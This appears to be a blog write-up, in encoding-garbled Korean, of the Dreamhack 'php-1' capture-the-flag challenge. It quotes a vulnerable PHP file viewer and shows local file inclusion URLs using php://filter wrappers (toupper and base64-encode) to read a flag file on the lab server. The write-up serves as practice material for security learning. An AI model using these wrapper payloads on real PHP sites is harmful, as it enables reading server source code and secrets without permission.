https://dreamhack.io/wargame/challenges/46
php-1
php๋ก ์์ฑ๋ Back Office ์๋น์ค์ ๋๋ค. LFI ์ทจ์ฝ์ ์ ์ด์ฉํด ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์. ํ๋๊ทธ๋ /var/www/uploads/flag.php์ ์์ต๋๋ค. Reference Server-side Basic
dreamhack.io
๋ฌธ์ ์ค๋ช
php๋ก ์์ฑ๋ Back Office ์๋น์ค์ ๋๋ค.
LFI ์ทจ์ฝ์ ์ ์ด์ฉํด ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์. ํ๋๊ทธ๋ /var/www/uploads/flag.php์ ์์ต๋๋ค.
<h2>View</h2>
<pre><?php
$file = $_GET['file']?$_GET['file']:'';
if(preg_match('/flag|:/i', $file)){
exit('Permission denied');
}
echo file_get_contents($file);
?>
</pre>
ํ์ผ์ด ์ฌ๋ฌ๊ฐ ์๊ธด ํ์ง๋ง..!
ํํธ๊ฐ ๋๋ ์ฝ๋๋ view.php ์ด๋ค
ํ์ด
php๋ก ๋ง๋ค์ด์ง ์ฌ์ดํธ๋ LFI ๋ก ์ ๊ทผ ๊ฐ๋ฅํ๋ค
https://opentutorials.org/module/4291/26819
LFI(2) - with php wrapper - WEB1
์ด๋ฒ ์๊ฐ์๋ php wrapper๋ฅผ ์ฌ์ฉํ lfi์ ๋ํด ์์๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. ์ฐ์ wrapper๋ ์ค์ ๋ฐ์ดํฐ์ ์์์ ์ด๋ค ํ์ ์ก์ ์ฃผ๋ ๋ฐ์ดํฐ ๋๋ ๋ค๋ฅธ ํ๋ก๊ทธ๋จ์ด ์ฑ๊ณต์ ์ผ๋ก ์คํ๋๋๋ก ์ค์ ํ๋
opentutorials.org
๊ฐ๋จํ ์์ฝํ๋ฉด php ๋ก ๋ง๋ค์ด์ง ์ฌ์ดํธ๋
{url}?page=view&file={๊ฒฝ๋ก}
์ ํํ๋ก ํด๋น ๊ฒฝ๋ก์ ์๋ ํ์ผ์ ๋ก๋ํ๊ฒ ๋๋ค
![](https://blog.kakaocdn.net/dn/BSsg4/btszCkYJGCp/Yn5P4MVSCiKtmv8IEod7F1/img.png)
๋ค๋ง ์ต์ํ์ ๋ณด์์ฅ์น๋ ๋์ด์๋ค
if(preg_match('/flag|:/i', $file)){
exit('Permission denied');
}
echo file_get_contents($file);
preg_match ํจํด์ด ์ผ์นํ๋์ง๋ฅผ ๋ฐ์ง๊ธฐ ๋๋ฌธ์ "flag" ๋ผ๋ ๋จ์ด๊ฐ ํฌํจ๋๊ธฐ๋ง ํ๋ฉด
๋๋ฌธ์ ์๋ฌธ์ ์๊ด์์ด (i๊ฐ ๊ทธ ์ญํ )
Permission denied ๊ฐ ๋จ๋๊ฒ..
์ด์ ์์ ์ธ๊ธํ lfi ๋ฅผ ์ด์ฉํ์
๊ฐ์์ ๋์์๋๋๋ก
http://host3.dreamhack.games:23763/?page=php://filter/read=string.toupper/resource=/var/www/uploads/flag
๋ฅผ ์ ๋ ฅํด์ ์ ์ํ๋๋
CAN YOU SEE $FLAG ๋ง ๋์จ๋ค
์ด๋ฒ์ ์ ๋งํฌ์ ๋์์๋๋๋ก
http://host3.dreamhack.games:23763/?page=php://filter/convert.base64-encode/resource=/var/www/uploads/flag
๋ฅผ ์ ๋ ฅํด๋ณด์
base64๋ก ์ธ์ฝ๋ฉ๋ ์ฝ๋๊ฐ ๋์๋ค
Base64 Decode and Encode - Online
Decode from Base64 format or encode into it with various advanced options. Our site has an easy to use online tool to convert your data.
www.base64decode.org
ํด์ํด๋ณด์
๋
'๐ CTF (Dreamhack) > Web Hacking (์นํดํน)' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[DreamHack] ๋๋ฆผํต ์นํดํน : ex-reg-ex (0) | 2023.11.06 |
---|---|
[Dreamhack] ๋๋ฆผํต ์นํดํน : Flying Chars (2) | 2023.11.03 |
[Dreamhack] ๋๋ฆผํต ์นํดํน : proxy-1 (1) | 2023.10.16 |
[DreamHack] ๋๋ฆผํต ์นํดํน : session (0) | 2023.09.11 |
[DreamHack] ๋๋ฆผํต ์นํดํน : pathtraversal (0) | 2023.08.14 |